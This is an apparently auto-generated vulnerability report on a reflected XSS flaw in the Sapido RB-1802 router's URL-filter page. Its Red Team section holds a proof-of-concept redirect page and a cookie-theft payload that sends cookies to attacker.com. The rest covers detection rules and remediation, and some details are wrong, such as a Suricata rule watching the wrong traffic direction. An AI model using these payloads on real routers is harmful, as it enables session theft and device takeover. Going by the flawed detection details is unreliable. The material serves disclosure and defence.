CVE-2025-7554
Executive Summary
CVE-2025-7554 is a publicly disclosed, unpatched reflected Cross-Site Scripting (XSS) vulnerability in the Sapido RB-1802 router (firmware version 1.0.32). The flaw resides in the urlfilter.asp file, specifically within the URL address parameter of the URL Filtering page. An attacker can remotely inject arbitrary JavaScript or HTML into the web interface, which executes in the context of an authenticated administrator's session. Although the CVSS base score is low (2.4) due to the requirement for user interaction and low impact on confidentiality/integrity, the public availability of exploit details and the lack of a vendor patch elevate the risk for affected devices. This vulnerability is particularly concerning in IoT/network device environments where firmware updates are rarely applied.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Sapido RB-1802 router). No supply chain package security implications are present.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 2.4 (Low)
- Attack Vector (AV): Network – The attack can be launched remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need prior authentication.
- User Interaction (UI): Required – The victim (administrator) must click a crafted link or visit a malicious page.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): None – No direct data exfiltration.
- Integrity (I): Low – The attacker can modify the content of the web page within the victim's session.
- Availability (A): None – No denial of service impact.
Threat Level: Low (CVSS 2.4). However, due to the public exploit and unpatched status, the real-world risk is elevated for organizations using this router model.
Deep Dive & Mechanics
The vulnerability is a classic reflected Cross-Site Scripting (XSS) in the urlfilter.asp page. The urlfilter.asp script is used to manage URL filtering rules on the router. It accepts a URL address parameter (likely via GET or POST) and reflects it back into the HTML response without proper sanitization or encoding.
Attack Flow:
- An attacker crafts a malicious URL:
http://<router-ip>/urlfilter.asp?url_address=<script>alert('XSS')</script> - The attacker sends this link to an authenticated administrator (e.g., via phishing email).
- The administrator, while logged into the router's web interface, clicks the link.
- The router's
urlfilter.asppage processes the request and embeds the unsanitizedurl_addressparameter directly into the HTML output. - The browser executes the injected script in the context of the router's web interface, allowing the attacker to perform actions such as:
- Stealing session cookies (if HttpOnly flag is not set).
- Modifying router settings (e.g., DNS, firewall rules).
- Defacing the admin panel.
- Launching further attacks against internal network devices.
Root Cause: Lack of output encoding or input validation on the url_address parameter in urlfilter.asp.
Vulnerable vs. Patched Code
Vulnerable Code (urlfilter.asp - conceptual):
<%
Dim urlAddress
urlAddress = Request.QueryString("url_address")
Response.Write("<input type='text' name='url' value='" & urlAddress & "'>")
%>
The urlAddress variable is directly concatenated into the HTML without any encoding.
Patched Code (conceptual):
<%
Dim urlAddress
urlAddress = Request.QueryString("url_address")
urlAddress = Server.HTMLEncode(urlAddress)
Response.Write("<input type='text' name='url' value='" & urlAddress & "'>")
%>
The Server.HTMLEncode function converts special characters (e.g., <, >, ") to their HTML entity equivalents, preventing script execution.
Note: No official patch has been released by Sapido. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Sapido RB-1802 router with firmware 1.0.32.
- Network access to the router's web interface (typically on port 80 or 443).
- An authenticated admin session (the victim must be logged in).
Proof-of-Concept (PoC) Exploit:
<!-- Save as exploit.html and host on attacker-controlled server -->
<html>
<body>
<script>
// Craft the malicious URL
var routerIP = "192.168.1.1"; // Change to target router IP
var payload = "<script>alert('XSS')</script>";
var maliciousURL = "http://" + routerIP + "/urlfilter.asp?url_address=" + encodeURIComponent(payload);
// Redirect the victim to the malicious URL
window.location.href = maliciousURL;
</script>
</body>
</html>
Advanced Payload (Cookie Theft):
// Inject this via the url_address parameter
<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
Usage:
- Host the PoC HTML file on an attacker-controlled web server.
- Send the link to the victim (e.g., via email or social engineering).
- Ensure the victim is already authenticated to the router's web interface.
- When the victim clicks the link, the XSS payload executes.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for unusual
urlfilter.asprequests containing<script>oronerrorpatterns. - Deploy a Web Application Firewall (WAF) rule to block requests with XSS patterns in the
url_addressparameter. - Implement Content Security Policy (CSP) headers on the router's web interface (if possible).
- Restrict administrative access to the router to trusted IP addresses only.
Mitigation Steps:
- Immediate: Disable remote administration of the router. Only allow management from the local network.
- Short-term: Apply input validation and output encoding as shown in the patched code section. Since no official patch exists, this may require custom firmware modification.
- Long-term: Replace the Sapido RB-1802 with a supported, regularly updated router model.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/urlfilter.aspwithurl_addressparameter containing<script>,onerror,onload, or other JavaScript event handlers. - Outbound HTTP requests from the router to an external IP address (e.g., attacker's server) containing cookie data in the URL.
File IOCs:
- Modified
urlfilter.aspfile (if attacker has write access) – unlikely in this reflected XSS scenario.
Log IOCs:
- Web server logs showing
urlfilter.asprequests with encoded or raw XSS payloads.
Example Log Entry:
192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /urlfilter.asp?url_address=%3Cscript%3Ealert('XSS')%3C/script%3E HTTP/1.1" 200 1234
Detection Engineering
YARA Rule
rule CVE_2025_7554_XSS_Detection {
meta:
description = "Detects XSS attempts targeting Sapido RB-1802 urlfilter.asp"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-7554"
strings:
$xss_pattern1 = /url_address=.*<script/i
$xss_pattern2 = /url_address=.*onerror/i
$xss_pattern3 = /url_address=.*onload/i
$xss_pattern4 = /url_address=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Sapido RB-1802 urlfilter.asp XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against the urlfilter.asp page of Sapido RB-1802 routers.
author: Valters IT
date: 2025-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/urlfilter.asp'
cs-uri-query:
- '*<script*'
- '*onerror*'
- '*onload*'
- '*javascript:*'
condition: selection
falsepositives:
- Legitimate use of URL filtering with special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7554 Sapido RB-1802 urlfilter.asp XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/urlfilter.asp"; http_uri; content:"url_address="; http_uri; pcre:"/url_address=.*(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Remote Administration: If possible, disable remote access to the router's web interface. Only allow management from the local network.
- Restrict Access: Use firewall rules to limit access to the router's management interface to trusted IP addresses only.
- Monitor Logs: Actively monitor web server logs for XSS patterns targeting
urlfilter.asp.
Short-term Actions:
- Apply Virtual Patching: If a WAF is in place, create a custom rule to block requests containing XSS payloads in the
url_addressparameter. - Manual Code Fix: If you have access to the firmware source code, apply the patched code example (using
Server.HTMLEncode). Recompile and flash the firmware. - User Awareness: Train administrators not to click on suspicious links while logged into the router.
Long-term Actions:
- Vendor Contact: Reach out to Sapido for an official patch. If no response, consider the device end-of-life.
- Device Replacement: Replace the Sapido RB-1802 with a supported router model that receives regular security updates.
- Network Segmentation: Place IoT devices like routers in a separate VLAN with limited access to critical internal systems.
Valters IT Signature This report was generated by Valters IT DevSecOps & CTI Expert System. All analysis is based on publicly available information and should be verified before action.